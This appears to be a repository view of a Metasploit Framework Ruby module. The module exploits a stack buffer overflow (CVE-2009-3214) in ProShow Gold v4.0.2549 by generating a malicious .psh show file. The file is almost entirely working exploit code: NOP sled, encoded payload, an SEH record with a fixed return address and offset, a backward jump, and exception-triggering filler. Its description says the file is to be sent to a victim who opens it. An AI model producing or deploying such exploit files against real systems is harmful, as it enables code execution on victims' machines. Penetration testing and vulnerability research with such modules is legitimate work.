Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
87 lines
2.3 KiB
Ruby
87 lines
2.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.
|
|
An attacker must send the file to victim and the victim must open the file.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'jduck' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-3214' ],
|
|
[ 'OSVDB', '57226' ],
|
|
[ 'EDB', '9483' ],
|
|
[ 'EDB', '9519' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# 0x01a614ea # p/p/r @ all.dnt
|
|
[ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Aug 20 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.psh']),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)
|
|
sploit << payload.encoded
|
|
sploit << generate_seh_record(target.ret)
|
|
|
|
# note, just in case the arguments get modified, we'll jump back into our buffer...
|
|
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string
|
|
|
|
# cause exception hitting the end of the stack
|
|
sploit << rand_text(1000) * 13
|
|
|
|
content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"
|
|
content << "cells=1\r\n"
|
|
content << "cell[0].nrOfImages=1\r\n"
|
|
content << "cell[0].images[0].image=" << sploit << "\r\n"
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
file_create(content)
|
|
|
|
end
|
|
|
|
end
|